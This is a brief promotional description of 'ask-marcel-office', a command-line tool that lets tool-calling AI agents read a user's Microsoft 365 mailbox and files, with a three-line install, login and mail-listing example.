Your agent is smart enough to answer "what did Contoso say about the Q3 budget, and what's in the attached deck?" It just can't see your mailbox.
ask-marcel-office gives any tool-calling LLM (Claude Code, Cursor, Cline, an MCP server, your own loop) eyes on your entire Microsoft 365:
npm i -g ask-marcel-office-cli ask-marcel-office login # your normal Microsoft sign-in, in a browser, once ask-marcel-office list-mail-messages --top 5
That is the whole setup. No Azure app registration. No tenant-admin consent. No client secrets. And nothing for a runaway agent to break: the command surface is read-only by design.
